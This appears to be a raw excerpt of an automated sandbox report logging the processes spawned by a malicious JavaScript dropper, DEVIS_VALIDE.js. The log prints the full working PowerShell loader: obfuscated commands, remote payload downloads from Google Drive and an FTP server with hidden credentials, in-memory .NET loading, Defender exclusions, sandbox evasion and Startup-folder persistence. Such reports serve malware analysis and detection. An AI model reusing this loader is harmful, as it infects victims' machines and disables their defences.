'0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 +
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'"
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\DEVIS_VALIDE.js"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: unknownProcess created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c start /min "" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -command ". 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1' ";exit
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Start-Sleep -Seconds 1 ; powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\Roaming\pesister.ps1"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Roaming\pesister.ps1
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -file "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1"
                  Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $jPhaA = 'JA' + [char]66 + '2AHgAYg' + [char]66 + 'DAHgAIAA9ACAAJA' + [char]66 + 'oAG8Acw' + [char]66 + '0AC4AVg' + [char]66 + 'lAHIAcw' + [char]66 + 'pAG8AbgAuAE0AYQ' + [char]66 + 'qAG8AcgAuAEUAcQ' + [char]66 + '1AGEAbA' + [char]66 + 'zACgAMgApADsASQ' + [char]66 + 'mACAAKAAgACQAdg' + [char]66 + '4AGIAQw' + [char]66 + '4ACAAKQAgAHsAJA' + [char]66 + 'IAHoATw' + [char]66 + 'NAGoAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAEkATwAuAFAAYQ' + [char]66 + '0AGgAXQA6ADoARw' + [char]66 + 'lAHQAVA' + [char]66 + 'lAG0AcA' + [char]66 + 'QAGEAdA' + [char]66 + 'oACgAKQA7AGQAZQ' + [char]66 + 'sACAAKAAkAEgAeg' + [char]66 + 'PAE0AagAgACsAIAAnAFwAVQ' + [char]66 + 'wAHcAaQ' + [char]66 + 'uAC4AbQ' + [char]66 + 'zAHUAJwApADsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAJw' + [char]66 + 'oAHQAdA' + [char]66 + 'wAHMAOgAvAC8AZA' + [char]66 + 'yAGkAdg' + [char]66 + 'lAC4AZw' + [char]66 + 'vAG8AZw' + [char]66 + 'sAGUALg' + [char]66 + 'jAG8AbQAvAHUAYwA/AGUAeA' + [char]66 + 'wAG8Acg' + [char]66 + '0AD0AZA' + [char]66 + 'vAHcAbg' + [char]66 + 'sAG8AYQ' + [char]66 + 'kACYAaQ' + [char]66 + 'kAD0AJwA7ACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAPQAgACQAZQ' + [char]66 + 'uAHYAOg' + [char]66 + 'QAFIATw' + [char]66 + 'DAEUAUw' + [char]66 + 'TAE8AUg' + [char]66 + 'fAEEAUg' + [char]66 + 'DAEgASQ' + [char]66 + 'UAEUAQw' + [char]66 + 'UAFUAUg' + [char]66 + 'FAC4AQw' + [char]66 + 'vAG4AdA' + [char]66 + 'hAGkAbg' + [char]66 + 'zACgAJwA2ADQAJwApADsAaQ' + [char]66 + 'mACAAKAAgACQAUA' + [char]66 + 'pAFUAUQ' + [char]66 + 'iACAAKQAgAHsAJA' + [char]66 + 'qAGsAdw' + [char]66 + 'qAHoAIAA9ACAAKAAkAGoAaw' + [char]66 + '3AGoAegAgACsAIAAnADEAcAAyAGIAcg' + [char]66 + 'qAEgALQ' + [char]66 + 'RAE4AWQA1AGIAcg' + [char]66 + '3AGkATA' + [char]66 + 'aAHUAWQ' + [char]66 + 'zAFcALQ' + [char]66 + 'SADUAOQ' + [char]66 + 'VAHcAag' + [char]66 + 'kAFMARQ' + [char]66 + 'WACcAKQAgADsAfQ' + [char]66 + 'lAGwAcw' + [char]66 + 'lACAAewAkAGoAaw' + [char]66 + '3AGoAegAgAD0AIAAoACQAag' + [char]66 + 'rAHcAag' + [char]66 + '6ACAAKwAgACcAMQ' + [char]66 + 'hAGEASA' + [char]66 + '5ADQALQ' + [char]66 + 'CAEwAMQ' + [char]66 + 'qAHAAQQ' + [char]66 + 'uAGoAaA' + [char]66 + '0AGUAZwA4ADgASw' + [char]66 + 'NAFoANw' + [char]66 + 'jAHUAOAAxAFoAMAA1AHcAJwApACAAOw' + [char]66 + '9ADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQAIAA9ACAAKAAgAE4AZQ' + [char]66 + '3AC0ATw' + [char]66 + 'iAGoAZQ' + [char]66 + 'jAHQAIA' + [char]66 + 'OAGUAdAAuAFcAZQ' + [char]66 + 'iAEMAbA' + [char]66 + 'pAGUAbg' + [char]66 + '0ACAAKQAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAIAA9ACAAWw' + [char]66 + 'TAHkAcw' + [char]66 + '0AGUAbQAuAFQAZQ' + [char]66 + '4AHQALg' + [char]66 + 'FAG4AYw' + [char]66 + 'vAGQAaQ' + [char]66 + 'uAGcAXQA6ADoAVQ' + [char]66 + 'UAEYAOAAgADsAJA' + [char]66 + 'jAHgAcA' + [char]66 + 'mAGQALg' + [char]66 + Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vxbCx = $host.Version.Major.Equals(2);If ( $vxbCx ) {$HzOMj = [System.IO.Path]::GetTempPath();del ($HzOMj + '\Upwin.msu');$jkwjz = 'https://drive.google.com/uc?export=download&id=';$PiUQb = $env:PROCESSOR_ARCHITECTURE.Contains('64');if ( $PiUQb ) {$jkwjz = ($jkwjz + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$jkwjz = ($jkwjz + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$cxpfd = ( New-Object Net.WebClient ) ;$cxpfd.Encoding = [System.Text.Encoding]::UTF8 ;$cxpfd.DownloadFile($jkwjz, ($HzOMj + '\Upwin.msu') ) ;$tpWkF = ( 'C:\Users\' + [Environment]::UserName );HhXHB = ( $HzOMj + '\Upwin.msu' ) ; powershell.exe wusa.exe HhXHB /quiet /norestart ; Copy-Item 'C:\Users\user\Desktop\DEVIS_VALIDE.js' -Destination ( $tpWkF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit ; } ;$jlcqj = ('ftp://desckvbrat1@ftp.desckvbrat.com.br/Upcrypter' + '/02/DLL01.txt' );$IepGQ = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$OjrRP = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($OjrRP, $lllGq) ;$RVUXv = $webClient.DownloadString( $jlcqj ) ;$RVUXv | Out-File -FilePath $IepGQ -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $IepGQ ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$MODRg = '$ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$MODRg += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''?:?'',''A'') ) ;' ;$MODRg += '[System.AppDomain]::CurrentDomain.Load( $Fyfdz ).' ;$MODRg += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$MODRg += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''k7NnMCPC/war/moc.nibetsap//:sptth'' , ''C:\Users\user\Desktop\DEVIS_VALIDE.js'' , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1') ;$MODRg | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\Users\user\AppData\Local\Temp\dll03.ps1Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\System32\WindowsPowerShell\v1.0' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell $S = 'C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe' ; Add-MpPreference -ExclusionPath $S -force ;Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c mkdir "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\iyvmd.ps1'"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c "powershell.exe -WindowStyle Hidden Start-Sleep -Seconds 1 ; powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -file 'C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\ainzw.ps1'"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\user\AppData\LocalLow\Daft Sytem\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\Program Rules NVIDEO\jamie.ps1"Jump to behavior
                  Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\cmd.exe cmd.exe /c del "C:\Users\user\Desktop\DEVIS_VALIDE.js"Jump to behavior
